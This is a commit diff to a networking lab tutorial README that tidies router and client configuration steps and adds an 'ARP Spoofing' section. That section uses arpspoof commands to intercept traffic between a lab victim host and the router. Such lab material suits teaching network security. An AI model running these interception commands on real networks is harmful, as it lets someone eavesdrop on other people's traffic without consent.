Finalize Client Configuration and ARP Spoofing chapters

Tutorial 1/README.md

@@ -4,8 +4,7 @@
 ![](./network_connection.png)
 
 ## Router Configuration
-  - `XX`:  
-    Workplace number
+  - `XX`: Workplace number
 
 ```sh
 # Enter configuration
@@ -44,14 +43,29 @@ exit
 # Enable DHCP for inner network
 service dhcp gi0/1
 exit
+configure terminal
 
 # Set default gateway
 ip route 0.0.0.0 0.0.0.0 10.3.44.1
+exit
 disable
 ```
 
 ## Client Configuration
+  - `X`: Workplace number
+
 ```sh
-ifconfig eth0 0.0.0.0
-dhclient eth0
+sudo -i
+ifconfig eth0 192.168.1.1X netmask 255.255.255.0
+# watch the result using the command below
+ip addr show
+```
+
+## ARP Spoofing
+```sh
+# sudo arpspoof -i [interface] -t <victim> <victim's-target>
+# Spy traffic from victim to router
+sudo arpspoof -i eth0 -t 192.168.1.11 192.168.1.1
+# Spy traffic from router to victim
+sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.11
 ```